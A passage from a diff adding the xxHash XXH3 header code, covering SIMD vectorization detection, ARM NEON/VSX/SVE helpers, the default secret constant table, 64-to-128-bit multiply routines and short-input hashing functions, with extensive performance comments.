__aeabi_lmul + * calls. + * + * Second of all, the 8 functional registers are just not enough. + * Setup for __aeabi_lmul, byteshift loads, pointers, and all arithmetic need + * Lo registers, and this shuffling results in thousands more MOVs than A32. + * + * A32 and T32 don't have this limitation. They can access all 14 registers, + * do a 32->64 multiply with UMULL, and the flexible operand allowing free + * shifts is helpful, too. + * + * Therefore, we do a quick sanity check. + * + * If compiling Thumb-1 for a target which supports ARM instructions, we will + * emit a warning, as it is not a "sane" platform to compile for. + * + * Usually, if this happens, it is because of an accident and you probably need + * to specify -march, as you likely meant to compile for a newer architecture. + * + * Credit: large sections of the vectorial and asm source code paths + * have been contributed by @easyaspi314 + */ +#if defined(__thumb__) && !defined(__thumb2__) && defined(__ARM_ARCH_ISA_ARM) +# warning "XXH3 is highly inefficient without ARM or Thumb-2." +#endif + +/* ========================================== + * Vectorization detection + * ========================================== */ + +#ifdef XXH_DOXYGEN +/*! + * @ingroup tuning + * @brief Overrides the vectorization implementation chosen for XXH3. + * + * Can be defined to 0 to disable SIMD, + * or any other authorized value of @ref XXH_VECTOR. + * + * If this is not defined, it uses predefined macros to determine the best + * implementation. + */ +# define XXH_VECTOR XXH_SCALAR +/*! + * @ingroup tuning + * @brief Selects the minimum alignment for XXH3's accumulators. + * + * When using SIMD, this should match the alignment required for said vector + * type, so, for example, 32 for AVX2. + * + * Default: Auto detected. + */ +# define XXH_ACC_ALIGN 8 +#endif + +/* Actual definition */ +#ifndef XXH_DOXYGEN +#endif + +#ifndef XXH_VECTOR /* can be defined on command line */ +# if defined(__ARM_FEATURE_SVE) +# define XXH_VECTOR XXH_SVE +# elif ( \ + defined(__ARM_NEON__) || defined(__ARM_NEON) /* gcc */ \ + || defined(_M_ARM) || defined(_M_ARM64) || defined(_M_ARM64EC) /* msvc */ \ + || (defined(__wasm_simd128__) && XXH_HAS_INCLUDE()) /* wasm simd128 via SIMDe */ \ + ) && ( \ + defined(_WIN32) || defined(__LITTLE_ENDIAN__) /* little endian only */ \ + || (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) \ + ) +# define XXH_VECTOR XXH_NEON +# elif defined(__AVX512F__) +# define XXH_VECTOR XXH_AVX512 +# elif defined(__AVX2__) +# define XXH_VECTOR XXH_AVX2 +# elif defined(__SSE2__) || defined(_M_X64) || (defined(_M_IX86_FP) && (_M_IX86_FP == 2)) +# define XXH_VECTOR XXH_SSE2 +# elif (defined(__PPC64__) && defined(__POWER8_VECTOR__)) \ + || (defined(__s390x__) && defined(__VEC__)) \ + && defined(__GNUC__) /* TODO: IBM XL */ +# define XXH_VECTOR XXH_VSX +# elif defined(__loongarch_asx) +# define XXH_VECTOR XXH_LASX +# elif defined(__loongarch_sx) +# define XXH_VECTOR XXH_LSX +# else +# define XXH_VECTOR XXH_SCALAR +# endif +#endif + +/* __ARM_FEATURE_SVE is only supported by GCC & Clang. */ +#if (XXH_VECTOR == XXH_SVE) && !defined(__ARM_FEATURE_SVE) +# ifdef _MSC_VER +# pragma warning(once : 4606) +# else +# warning "__ARM_FEATURE_SVE isn't supported. Use SCALAR instead." +# endif +# undef XXH_VECTOR +# define XXH_VECTOR XXH_SCALAR +#endif + +/* + * Controls the alignment of the accumulator, + * for compatibility with aligned vector loads, which are usually faster. + */ +#ifndef XXH_ACC_ALIGN +# if defined(XXH_X86DISPATCH) +# define XXH_ACC_ALIGN 64 /* for compatibility with avx512 */ +# elif XXH_VECTOR == XXH_SCALAR /* scalar */ +# define XXH_ACC_ALIGN 8 +# elif XXH_VECTOR == XXH_SSE2 /* sse2 */ +# define XXH_ACC_ALIGN 16 +# elif XXH_VECTOR == XXH_AVX2 /* avx2 */ +# define XXH_ACC_ALIGN 32 +# elif XXH_VECTOR == XXH_NEON /* neon */ +# define XXH_ACC_ALIGN 16 +# elif XXH_VECTOR == XXH_VSX /* vsx */ +# define XXH_ACC_ALIGN 16 +# elif XXH_VECTOR == XXH_AVX512 /* avx512 */ +# define XXH_ACC_ALIGN 64 +# elif XXH_VECTOR == XXH_SVE /* sve */ +# define XXH_ACC_ALIGN 64 +# elif XXH_VECTOR == XXH_LASX /* lasx */ +# define XXH_ACC_ALIGN 64 +# elif XXH_VECTOR == XXH_LSX /* lsx */ +# define XXH_ACC_ALIGN 64 +# endif +#endif + +#if defined(XXH_X86DISPATCH) || XXH_VECTOR == XXH_SSE2 \ + || XXH_VECTOR == XXH_AVX2 || XXH_VECTOR == XXH_AVX512 +# define XXH_SEC_ALIGN XXH_ACC_ALIGN +#elif XXH_VECTOR == XXH_SVE +# define XXH_SEC_ALIGN XXH_ACC_ALIGN +#else +# define XXH_SEC_ALIGN 8 +#endif + +#if defined(__GNUC__) || defined(__clang__) +# define XXH_ALIASING __attribute__((__may_alias__)) +#else +# define XXH_ALIASING /* nothing */ +#endif + +/* + * UGLY HACK: + * GCC usually generates the best code with -O3 for xxHash. + * + * However, when targeting AVX2, it is overzealous in its unrolling resulting + * in code roughly 3/4 the speed of Clang. + * + * There are other issues, such as GCC splitting _mm256_loadu_si256 into + * _mm_loadu_si128 + _mm256_inserti128_si256. This is an optimization which + * only applies to Sandy and Ivy Bridge... which don't even support AVX2. + * + * That is why when compiling the AVX2 version, it is recommended to use either + * -O2 -mavx2 -march=haswell + * or + * -O2 -mavx2 -mno-avx256-split-unaligned-load + * for decent performance, or to use Clang instead. + * + * Fortunately, we can control the first one with a pragma that forces GCC into + * -O2, but the other one we can't control without "failed to inline always + * inline function due to target mismatch" warnings. + */ +#if XXH_VECTOR == XXH_AVX2 /* AVX2 */ \ + && defined(__GNUC__) && !defined(__clang__) /* GCC, not Clang */ \ + && defined(__OPTIMIZE__) && XXH_SIZE_OPT <= 0 /* respect -O0 and -Os */ +# pragma GCC push_options +# pragma GCC optimize("-O2") +#endif + +#if XXH_VECTOR == XXH_NEON + +/* + * UGLY HACK: While AArch64 GCC on Linux does not seem to care, on macOS, GCC -O3 + * optimizes out the entire hashLong loop because of the aliasing violation. + * + * However, GCC is also inefficient at load-store optimization with vld1q/vst1q, + * so the only option is to mark it as aliasing. + */ +typedef uint64x2_t xxh_aliasing_uint64x2_t XXH_ALIASING; + +/*! + * @internal + * @brief `vld1q_u64` but faster and alignment-safe. + * + * On AArch64, unaligned access is always safe, but on ARMv7-a, it is only + * *conditionally* safe (`vld1` has an alignment bit like `movdq[ua]` in x86). + * + * GCC for AArch64 sees `vld1q_u8` as an intrinsic instead of a load, so it + * prohibits load-store optimizations. Therefore, a direct dereference is used. + * + * Otherwise, `vld1q_u8` is used with `vreinterpretq_u8_u64` to do a safe + * unaligned load. + */ +#if defined(__aarch64__) && defined(__GNUC__) && !defined(__clang__) +XXH_FORCE_INLINE uint64x2_t XXH_vld1q_u64(void const* ptr) /* silence -Wcast-align */ +{ + return *(xxh_aliasing_uint64x2_t const *)ptr; +} +#else +XXH_FORCE_INLINE uint64x2_t XXH_vld1q_u64(void const* ptr) +{ + return vreinterpretq_u64_u8(vld1q_u8((uint8_t const*)ptr)); +} +#endif + +/*! + * @internal + * @brief `vmlal_u32` on low and high halves of a vector. + * + * This is a workaround for AArch64 GCC < 11 which implemented arm_neon.h with + * inline assembly and were therefore incapable of merging the `vget_{low, high}_u32` + * with `vmlal_u32`. + */ +#if defined(__aarch64__) && defined(__GNUC__) && !defined(__clang__) && __GNUC__ < 11 +XXH_FORCE_INLINE uint64x2_t +XXH_vmlal_low_u32(uint64x2_t acc, uint32x4_t lhs, uint32x4_t rhs) +{ + /* Inline assembly is the only way */ + __asm__("umlal %0.2d, %1.2s, %2.2s" : "+w" (acc) : "w" (lhs), "w" (rhs)); + return acc; +} +XXH_FORCE_INLINE uint64x2_t +XXH_vmlal_high_u32(uint64x2_t acc, uint32x4_t lhs, uint32x4_t rhs) +{ + /* This intrinsic works as expected */ + return vmlal_high_u32(acc, lhs, rhs); +} +#else +/* Portable intrinsic versions */ +XXH_FORCE_INLINE uint64x2_t +XXH_vmlal_low_u32(uint64x2_t acc, uint32x4_t lhs, uint32x4_t rhs) +{ + return vmlal_u32(acc, vget_low_u32(lhs), vget_low_u32(rhs)); +} +/*! @copydoc XXH_vmlal_low_u32 + * Assume the compiler converts this to vmlal_high_u32 on aarch64 */ +XXH_FORCE_INLINE uint64x2_t +XXH_vmlal_high_u32(uint64x2_t acc, uint32x4_t lhs, uint32x4_t rhs) +{ + return vmlal_u32(acc, vget_high_u32(lhs), vget_high_u32(rhs)); +} +#endif + +/*! + * @ingroup tuning + * @brief Controls the NEON to scalar ratio for XXH3 + * + * This can be set to 2, 4, 6, or 8. + * + * ARM Cortex CPUs are _very_ sensitive to how their pipelines are used. + * + * For example, the Cortex-A73 can dispatch 3 micro-ops per cycle, but only 2 of those + * can be NEON. If you are only using NEON instructions, you are only using 2/3 of the CPU + * bandwidth. + * + * This is even more noticeable on the more advanced cores like the Cortex-A76 which + * can dispatch 8 micro-ops per cycle, but still only 2 NEON micro-ops at once. + * + * Therefore, to make the most out of the pipeline, it is beneficial to run 6 NEON lanes + * and 2 scalar lanes, which is chosen by default. + * + * This does not apply to Apple processors or 32-bit processors, which run better with + * full NEON. These will default to 8. Additionally, size-optimized builds run 8 lanes. + * + * This change benefits CPUs with large micro-op buffers without negatively affecting + * most other CPUs: + * + * | Chipset | Dispatch type | NEON only | 6:2 hybrid | Diff. | + * |:----------------------|:--------------------|----------:|-----------:|------:| + * | Snapdragon 730 (A76) | 2 NEON/8 micro-ops | 8.8 GB/s | 10.1 GB/s | ~16% | + * | Snapdragon 835 (A73) | 2 NEON/3 micro-ops | 5.1 GB/s | 5.3 GB/s | ~5% | + * | Marvell PXA1928 (A53) | In-order dual-issue | 1.9 GB/s | 1.9 GB/s | 0% | + * | Apple M1 | 4 NEON/8 micro-ops | 37.3 GB/s | 36.1 GB/s | ~-3% | + * + * It also seems to fix some bad codegen on GCC, making it almost as fast as clang. + * + * When using WASM SIMD128, if this is 2 or 6, SIMDe will scalarize 2 of the lanes meaning + * it effectively becomes worse 4. + * + * @see XXH3_accumulate_512_neon() + */ +# ifndef XXH3_NEON_LANES +# if (defined(__aarch64__) || defined(__arm64__) || defined(_M_ARM64) || defined(_M_ARM64EC)) \ + && !defined(__APPLE__) && XXH_SIZE_OPT <= 0 +# define XXH3_NEON_LANES 6 +# else +# define XXH3_NEON_LANES XXH_ACC_NB +# endif +# endif +#endif /* XXH_VECTOR == XXH_NEON */ + +/* + * VSX and Z Vector helpers. + * + * This is very messy, and any pull requests to clean this up are welcome. + * + * There are a lot of problems with supporting VSX and s390x, due to + * inconsistent intrinsics, spotty coverage, and multiple endiannesses. + */ +#if XXH_VECTOR == XXH_VSX +/* Annoyingly, these headers _may_ define three macros: `bool`, `vector`, + * and `pixel`. This is a problem for obvious reasons. + * + * These keywords are unnecessary; the spec literally says they are + * equivalent to `__bool`, `__vector`, and `__pixel` and may be undef'd + * after including the header. + * + * We use pragma push_macro/pop_macro to keep the namespace clean. */ +# pragma push_macro("bool") +# pragma push_macro("vector") +# pragma push_macro("pixel") +/* silence potential macro redefined warnings */ +# undef bool +# undef vector +# undef pixel + +# if defined(__s390x__) +# include +# else +# include +# endif + +/* Restore the original macro values, if applicable. */ +# pragma pop_macro("pixel") +# pragma pop_macro("vector") +# pragma pop_macro("bool") + +typedef __vector unsigned long long xxh_u64x2; +typedef __vector unsigned char xxh_u8x16; +typedef __vector unsigned xxh_u32x4; + +/* + * UGLY HACK: Similar to aarch64 macOS GCC, s390x GCC has the same aliasing issue. + */ +typedef xxh_u64x2 xxh_aliasing_u64x2 XXH_ALIASING; + +# ifndef XXH_VSX_BE +# if defined(__BIG_ENDIAN__) \ + || (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__) +# define XXH_VSX_BE 1 +# elif defined(__VEC_ELEMENT_REG_ORDER__) && __VEC_ELEMENT_REG_ORDER__ == __ORDER_BIG_ENDIAN__ +# warning "-maltivec=be is not recommended. Please use native endianness." +# define XXH_VSX_BE 1 +# else +# define XXH_VSX_BE 0 +# endif +# endif /* !defined(XXH_VSX_BE) */ + +# if XXH_VSX_BE +# if defined(__POWER9_VECTOR__) || (defined(__clang__) && defined(__s390x__)) +# define XXH_vec_revb vec_revb +# else +/*! + * A polyfill for POWER9's vec_revb(). + */ +XXH_FORCE_INLINE xxh_u64x2 XXH_vec_revb(xxh_u64x2 val) +{ + xxh_u8x16 const vByteSwap = { 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01, 0x00, + 0x0F, 0x0E, 0x0D, 0x0C, 0x0B, 0x0A, 0x09, 0x08 }; + return vec_perm(val, val, vByteSwap); +} +# endif +# endif /* XXH_VSX_BE */ + +/*! + * Performs an unaligned vector load and byte swaps it on big endian. + */ +XXH_FORCE_INLINE xxh_u64x2 XXH_vec_loadu(const void *ptr) +{ + xxh_u64x2 ret; + XXH_memcpy(&ret, ptr, sizeof(xxh_u64x2)); +# if XXH_VSX_BE + ret = XXH_vec_revb(ret); +# endif + return ret; +} + +/* + * vec_mulo and vec_mule are very problematic intrinsics on PowerPC + * + * These intrinsics weren't added until GCC 8, despite existing for a while, + * and they are endian dependent. Also, their meaning swap depending on version. + * */ +# if defined(__s390x__) + /* s390x is always big endian, no issue on this platform */ +# define XXH_vec_mulo vec_mulo +# define XXH_vec_mule vec_mule +# elif defined(__clang__) && XXH_HAS_BUILTIN(__builtin_altivec_vmuleuw) && !defined(__ibmxl__) +/* Clang has a better way to control this, we can just use the builtin which doesn't swap. */ + /* The IBM XL Compiler (which defined __clang__) only implements the vec_* operations */ +# define XXH_vec_mulo __builtin_altivec_vmulouw +# define XXH_vec_mule __builtin_altivec_vmuleuw +# else +/* gcc needs inline assembly */ +/* Adapted from https://github.com/google/highwayhash/blob/master/highwayhash/hh_vsx.h. */ +XXH_FORCE_INLINE xxh_u64x2 XXH_vec_mulo(xxh_u32x4 a, xxh_u32x4 b) +{ + xxh_u64x2 result; + __asm__("vmulouw %0, %1, %2" : "=v" (result) : "v" (a), "v" (b)); + return result; +} +XXH_FORCE_INLINE xxh_u64x2 XXH_vec_mule(xxh_u32x4 a, xxh_u32x4 b) +{ + xxh_u64x2 result; + __asm__("vmuleuw %0, %1, %2" : "=v" (result) : "v" (a), "v" (b)); + return result; +} +# endif /* XXH_vec_mulo, XXH_vec_mule */ +#endif /* XXH_VECTOR == XXH_VSX */ + +#if XXH_VECTOR == XXH_SVE +#define ACCRND(acc, offset) \ +do { \ + svuint64_t input_vec = svld1_u64(mask, xinput + offset); \ + svuint64_t secret_vec = svld1_u64(mask, xsecret + offset); \ + svuint64_t mixed = sveor_u64_x(mask, secret_vec, input_vec); \ + svuint64_t swapped = svtbl_u64(input_vec, kSwap); \ + svuint64_t mixed_lo = svextw_u64_x(mask, mixed); \ + svuint64_t mixed_hi = svlsr_n_u64_x(mask, mixed, 32); \ + svuint64_t mul = svmad_u64_x(mask, mixed_lo, mixed_hi, swapped); \ + acc = svadd_u64_x(mask, acc, mul); \ +} while (0) +#endif /* XXH_VECTOR == XXH_SVE */ + +/* prefetch + * can be disabled, by declaring XXH_NO_PREFETCH build macro */ +#if defined(XXH_NO_PREFETCH) +# define XXH_PREFETCH(ptr) (void)(ptr) /* disabled */ +#else +# if XXH_SIZE_OPT >= 1 +# define XXH_PREFETCH(ptr) (void)(ptr) +# elif defined(_MSC_VER) && (defined(_M_X64) || defined(_M_IX86)) /* _mm_prefetch() not defined outside of x86/x64 */ +# include /* https://msdn.microsoft.com/fr-fr/library/84szxsww(v=vs.90).aspx */ +# define XXH_PREFETCH(ptr) _mm_prefetch((const char*)(ptr), _MM_HINT_T0) +# elif defined(__GNUC__) && ( (__GNUC__ >= 4) || ( (__GNUC__ == 3) && (__GNUC_MINOR__ >= 1) ) ) +# define XXH_PREFETCH(ptr) __builtin_prefetch((ptr), 0 /* rw==read */, 3 /* locality */) +# else +# define XXH_PREFETCH(ptr) (void)(ptr) /* disabled */ +# endif +#endif /* XXH_NO_PREFETCH */ + + +/* ========================================== + * XXH3 default settings + * ========================================== */ + +#define XXH_SECRET_DEFAULT_SIZE 192 /* minimum XXH3_SECRET_SIZE_MIN */ + +#if (XXH_SECRET_DEFAULT_SIZE < XXH3_SECRET_SIZE_MIN) +# error "default keyset is not large enough" +#endif + +/*! + * @internal + * @def XXH3_kSecret + * @brief Pseudorandom secret taken directly from FARSH. */ +XXH_ALIGN(64) static const xxh_u8 XXH3_kSecret[XXH_SECRET_DEFAULT_SIZE] = { + 0xb8, 0xfe, 0x6c, 0x39, 0x23, 0xa4, 0x4b, 0xbe, 0x7c, 0x01, 0x81, 0x2c, 0xf7, 0x21, 0xad, 0x1c, + 0xde, 0xd4, 0x6d, 0xe9, 0x83, 0x90, 0x97, 0xdb, 0x72, 0x40, 0xa4, 0xa4, 0xb7, 0xb3, 0x67, 0x1f, + 0xcb, 0x79, 0xe6, 0x4e, 0xcc, 0xc0, 0xe5, 0x78, 0x82, 0x5a, 0xd0, 0x7d, 0xcc, 0xff, 0x72, 0x21, + 0xb8, 0x08, 0x46, 0x74, 0xf7, 0x43, 0x24, 0x8e, 0xe0, 0x35, 0x90, 0xe6, 0x81, 0x3a, 0x26, 0x4c, + 0x3c, 0x28, 0x52, 0xbb, 0x91, 0xc3, 0x00, 0xcb, 0x88, 0xd0, 0x65, 0x8b, 0x1b, 0x53, 0x2e, 0xa3, + 0x71, 0x64, 0x48, 0x97, 0xa2, 0x0d, 0xf9, 0x4e, 0x38, 0x19, 0xef, 0x46, 0xa9, 0xde, 0xac, 0xd8, + 0xa8, 0xfa, 0x76, 0x3f, 0xe3, 0x9c, 0x34, 0x3f, 0xf9, 0xdc, 0xbb, 0xc7, 0xc7, 0x0b, 0x4f, 0x1d, + 0x8a, 0x51, 0xe0, 0x4b, 0xcd, 0xb4, 0x59, 0x31, 0xc8, 0x9f, 0x7e, 0xc9, 0xd9, 0x78, 0x73, 0x64, + 0xea, 0xc5, 0xac, 0x83, 0x34, 0xd3, 0xeb, 0xc3, 0xc5, 0x81, 0xa0, 0xff, 0xfa, 0x13, 0x63, 0xeb, + 0x17, 0x0d, 0xdd, 0x51, 0xb7, 0xf0, 0xda, 0x49, 0xd3, 0x16, 0x55, 0x26, 0x29, 0xd4, 0x68, 0x9e, + 0x2b, 0x16, 0xbe, 0x58, 0x7d, 0x47, 0xa1, 0xfc, 0x8f, 0xf8, 0xb8, 0xd1, 0x7a, 0xd0, 0x31, 0xce, + 0x45, 0xcb, 0x3a, 0x8f, 0x95, 0x16, 0x04, 0x28, 0xaf, 0xd7, 0xfb, 0xca, 0xbb, 0x4b, 0x40, 0x7e, +}; + +static const xxh_u64 PRIME_MX1 = 0x165667919E3779F9ULL; /*!< 0b0001011001010110011001111001000110011110001101110111100111111001 */ +static const xxh_u64 PRIME_MX2 = 0x9FB21C651E98DF25ULL; /*!< 0b1001111110110010000111000110010100011110100110001101111100100101 */ + +#ifdef XXH_OLD_NAMES +# define kSecret XXH3_kSecret +#endif + +#ifdef XXH_DOXYGEN +/*! + * @brief Calculates a 32-bit to 64-bit long multiply. + * + * Implemented as a macro. + * + * Wraps `__emulu` on MSVC x86 because it tends to call `__allmul` when it doesn't + * need to (but it shouldn't need to anyways, it is about 7 instructions to do + * a 64x64 multiply...). Since we know that this will _always_ emit `MULL`, we + * use that instead of the normal method. + * + * If you are compiling for platforms like Thumb-1 and don't have a better option, + * you may also want to write your own long multiply routine here. + * + * @param x, y Numbers to be multiplied + * @return 64-bit product of the low 32 bits of @p x and @p y. + */ +XXH_FORCE_INLINE xxh_u64 +XXH_mult32to64(xxh_u64 x, xxh_u64 y) +{ + return (x & 0xFFFFFFFF) * (y & 0xFFFFFFFF); +} +#elif defined(_MSC_VER) && defined(_M_IX86) +# define XXH_mult32to64(x, y) __emulu((unsigned)(x), (unsigned)(y)) +#else +/* + * Downcast + upcast is usually better than masking on older compilers like + * GCC 4.2 (especially 32-bit ones), all without affecting newer compilers. + * + * The other method, (x & 0xFFFFFFFF) * (y & 0xFFFFFFFF), will AND both operands + * and perform a full 64x64 multiply -- entirely redundant on 32-bit. + */ +# define XXH_mult32to64(x, y) ((xxh_u64)(xxh_u32)(x) * (xxh_u64)(xxh_u32)(y)) +#endif + +/*! + * @brief Calculates a 64->128-bit long multiply. + * + * Uses `__uint128_t` and `_umul128` if available, otherwise uses a scalar + * version. + * + * @param lhs , rhs The 64-bit integers to be multiplied + * @return The 128-bit result represented in an @ref XXH128_hash_t. + */ +static XXH128_hash_t +XXH_mult64to128(xxh_u64 lhs, xxh_u64 rhs) +{ + /* + * GCC/Clang __uint128_t method. + * + * On most 64-bit targets, GCC and Clang define a __uint128_t type. + * This is usually the best way as it usually uses a native long 64-bit + * multiply, such as MULQ on x86_64 or MUL + UMULH on aarch64. + * + * Usually. + * + * Despite being a 32-bit platform, Clang (and emscripten) define this type + * despite not having the arithmetic for it. This results in a laggy + * compiler builtin call which calculates a full 128-bit multiply. + * In that case it is best to use the portable one. + * https://github.com/Cyan4973/xxHash/issues/211#issuecomment-515575677 + */ +#if (defined(__GNUC__) || defined(__clang__)) && !defined(__wasm__) \ + && defined(__SIZEOF_INT128__) \ + || (defined(_INTEGRAL_MAX_BITS) && _INTEGRAL_MAX_BITS >= 128) + + __uint128_t const product = (__uint128_t)lhs * (__uint128_t)rhs; + XXH128_hash_t r128; + r128.low64 = (xxh_u64)(product); + r128.high64 = (xxh_u64)(product >> 64); + return r128; + + /* + * MSVC for x64's _umul128 method. + * + * xxh_u64 _umul128(xxh_u64 Multiplier, xxh_u64 Multiplicand, xxh_u64 *HighProduct); + * + * This compiles to single operand MUL on x64. + */ +#elif (defined(_M_X64) || defined(_M_IA64)) && !defined(_M_ARM64EC) + +#ifndef _MSC_VER +# pragma intrinsic(_umul128) +#endif + xxh_u64 product_high; + xxh_u64 const product_low = _umul128(lhs, rhs, &product_high); + XXH128_hash_t r128; + r128.low64 = product_low; + r128.high64 = product_high; + return r128; + + /* + * MSVC for ARM64's __umulh method. + * + * This compiles to the same MUL + UMULH as GCC/Clang's __uint128_t method. + */ +#elif defined(_M_ARM64) || defined(_M_ARM64EC) + +#ifndef _MSC_VER +# pragma intrinsic(__umulh) +#endif + XXH128_hash_t r128; + r128.low64 = lhs * rhs; + r128.high64 = __umulh(lhs, rhs); + return r128; + +#else + /* + * Portable scalar method. Optimized for 32-bit and 64-bit ALUs. + * + * This is a fast and simple grade school multiply, which is shown below + * with base 10 arithmetic instead of base 0x100000000. + * + * 9 3 // D2 lhs = 93 + * x 7 5 // D2 rhs = 75 + * ---------- + * 1 5 // D2 lo_lo = (93 % 10) * (75 % 10) = 15 + * 4 5 | // D2 hi_lo = (93 / 10) * (75 % 10) = 45 + * 2 1 | // D2 lo_hi = (93 % 10) * (75 / 10) = 21 + * + 6 3 | | // D2 hi_hi = (93 / 10) * (75 / 10) = 63 + * --------- + * 2 7 | // D2 cross = (15 / 10) + (45 % 10) + 21 = 27 + * + 6 7 | | // D2 upper = (27 / 10) + (45 / 10) + 63 = 67 + * --------- + * 6 9 7 5 // D4 res = (27 * 10) + (15 % 10) + (67 * 100) = 6975 + * + * The reasons for adding the products like this are: + * 1. It avoids manual carry tracking. Just like how + * (9 * 9) + 9 + 9 = 99, the same applies with this for UINT64_MAX. + * This avoids a lot of complexity. + * + * 2. It hints for, and on Clang, compiles to, the powerful UMAAL + * instruction available in ARM's Digital Signal Processing extension + * in 32-bit ARMv6 and later, which is shown below: + * + * void UMAAL(xxh_u32 *RdLo, xxh_u32 *RdHi, xxh_u32 Rn, xxh_u32 Rm) + * { + * xxh_u64 product = (xxh_u64)*RdLo * (xxh_u64)*RdHi + Rn + Rm; + * *RdLo = (xxh_u32)(product & 0xFFFFFFFF); + * *RdHi = (xxh_u32)(product >> 32); + * } + * + * This instruction was designed for efficient long multiplication, and + * allows this to be calculated in only 4 instructions at speeds + * comparable to some 64-bit ALUs. + * + * 3. It isn't terrible on other platforms. Usually this will be a couple + * of 32-bit ADD/ADCs. + */ + + /* First calculate all of the cross products. */ + xxh_u64 const lo_lo = XXH_mult32to64(lhs & 0xFFFFFFFF, rhs & 0xFFFFFFFF); + xxh_u64 const hi_lo = XXH_mult32to64(lhs >> 32, rhs & 0xFFFFFFFF); + xxh_u64 const lo_hi = XXH_mult32to64(lhs & 0xFFFFFFFF, rhs >> 32); + xxh_u64 const hi_hi = XXH_mult32to64(lhs >> 32, rhs >> 32); + + /* Now add the products together. These will never overflow. */ + xxh_u64 const cross = (lo_lo >> 32) + (hi_lo & 0xFFFFFFFF) + lo_hi; + xxh_u64 const upper = (hi_lo >> 32) + (cross >> 32) + hi_hi; + xxh_u64 const lower = (cross << 32) | (lo_lo & 0xFFFFFFFF); + + XXH128_hash_t r128; + r128.low64 = lower; + r128.high64 = upper; + return r128; +#endif +} + +/*! + * @brief Calculates a 64-bit to 128-bit multiply, then XOR folds it. + * + * The reason for the separate function is to prevent passing too many structs + * around by value. This will hopefully inline the multiply, but we don't force it. + * + * @param lhs , rhs The 64-bit integers to multiply + * @return The low 64 bits of the product XOR'd by the high 64 bits. + * @see XXH_mult64to128() + */ +static xxh_u64 +XXH3_mul128_fold64(xxh_u64 lhs, xxh_u64 rhs) +{ + XXH128_hash_t product = XXH_mult64to128(lhs, rhs); + return product.low64 ^ product.high64; +} + +/*! Seems to produce slightly better code on GCC for some reason. */ +XXH_FORCE_INLINE XXH_CONSTF xxh_u64 XXH_xorshift64(xxh_u64 v64, int shift) +{ + XXH_ASSERT(0 <= shift && shift < 64); + return v64 ^ (v64 >> shift); +} + +/* + * This is a fast avalanche stage, + * suitable when input bits are already partially mixed + */ +static XXH64_hash_t XXH3_avalanche(xxh_u64 h64) +{ + h64 = XXH_xorshift64(h64, 37); + h64 *= PRIME_MX1; + h64 = XXH_xorshift64(h64, 32); + return h64; +} + +/* + * This is a stronger avalanche, + * inspired by Pelle Evensen's rrmxmx + * preferable when input has not been previously mixed + */ +static XXH64_hash_t XXH3_rrmxmx(xxh_u64 h64, xxh_u64 len) +{ + /* this mix is inspired by Pelle Evensen's rrmxmx */ + h64 ^= XXH_rotl64(h64, 49) ^ XXH_rotl64(h64, 24); + h64 *= PRIME_MX2; + h64 ^= (h64 >> 35) + len ; + h64 *= PRIME_MX2; + return XXH_xorshift64(h64, 28); +} + + +/* ========================================== + * Short keys + * ========================================== + * One of the shortcomings of XXH32 and XXH64 was that their performance was + * sub-optimal on short lengths. It used an iterative algorithm which strongly + * favored lengths that were a multiple of 4 or 8. + * + * Instead of iterating over individual inputs, we use a set of single shot + * functions which piece together a range of lengths and operate in constant time. + * + * Additionally, the number of multiplies has been significantly reduced. This + * reduces latency, especially when emulating 64-bit multiplies on 32-bit. + * + * Depending on the platform, this may or may not be faster than XXH32, but it + * is almost guaranteed to be faster than XXH64. + */ + +/* + * At very short lengths, there isn't enough input to fully hide secrets, or use + * the entire secret. + * + * There is also only a limited amount of mixing we can do before significantly + * impacting performance. + * + * Therefore, we use different sections of the secret and always mix two secret + * samples with an XOR. This should have no effect on performance on the + * seedless or withSeed variants because everything _should_ be constant folded + * by modern compilers. + * + * The XOR mixing hides individual parts of the secret and increases entropy. + * + * This adds an extra layer of strength for custom secrets. + */ +XXH_FORCE_INLINE XXH_PUREF XXH64_hash_t +XXH3_len_1to3_64b(const xxh_u8* input, size_t len, const xxh_u8* secret, XXH64_hash_t seed) +{ + XXH_ASSERT(input != NULL); + XXH_ASSERT(1 <= len && len <= 3); + XXH_ASSERT(secret != NULL); + /* + * len = 1: combined = { input[0], 0x01, input[0], input[0] } + * len = 2: combined = { input[1], 0x02, input[0], input[1] } + * len = 3: combined = { input[2], 0x03, input[0], input[1] } + */ + { xxh_u8 const c1 = input[0]; + xxh_u8 const c2 = input[len >> 1]; + xxh_u8 const c3 = input[len - 1]; + xxh_u32 const combined = ((xxh_u32)c1 << 16) | ((xxh_u32)c2 << 24) + | ((xxh_u32)c3 << 0) | ((xxh_u32)len << 8); + xxh_u64 const bitflip = (XXH_readLE32(secret) ^ XXH_readLE32(secret+4)) + seed; + xxh_u64 const keyed = (xxh_u64)combined ^ bitflip; + return XXH64_avalanche(keyed); + } +} + +XXH_FORCE_INLINE XXH_PUREF XXH64_hash_t +XXH3_len_4to8_64b(const xxh_u8* input, size_t len, const xxh_u8* secret, XXH64_hash_t seed) +{ + XXH_ASSERT(input != NULL); + XXH_ASSERT(secret != NULL); + XXH_ASSERT(4 <= len && len <= 8); + seed ^= (xxh_u64)XXH_swap32((xxh_u32)seed) << 32; + { xxh_u32 const input1 = XXH_readLE32(input); + xxh_u32 const input2 = XXH_readLE32(input + len - 4); + xxh_u64 const bitflip = (XXH_readLE64(secret+8) ^ XXH_readLE64(secret+16)) - seed; + xxh_u64 const input64 = input2 + (((xxh_u64)input1) << 32); + xxh_u64 const keyed = input64 ^ bitflip; + return XXH3_rrmxmx(keyed, len); + } +} + +XXH_FORCE_INLINE XXH_PUREF XXH64_hash_t +XXH3_len_9to16_64b(const xxh_u8* input, size_t len, const xxh_u8* secret, XXH64_hash_t seed) +{ + XXH_ASSERT(input != NULL); + XXH_ASSERT(secret != NULL); + XXH_ASSERT(9 <= len && len <= 16); + { xxh_u64 const bitflip1 = (XXH_readLE64(secret+24) ^ XXH_readLE64(secret+32)) + seed; + xxh_u64 const bitflip2 = (XXH_readLE64(secret+40) ^ XXH_readLE64(secret+48)) - seed; + xxh_u64 const input_lo = XXH_readLE64(input) ^ bitflip1; + xxh_u64 const input_hi = XXH_readLE64(input + len - 8) ^ bitflip2; + xxh_u64 const acc = len + + XXH_swap64(input_lo) + input_hi + + XXH3_mul128_fold64(input_lo, input_hi); + return XXH3_avalanche(acc); + } +} + +XXH_FORCE_INLINE 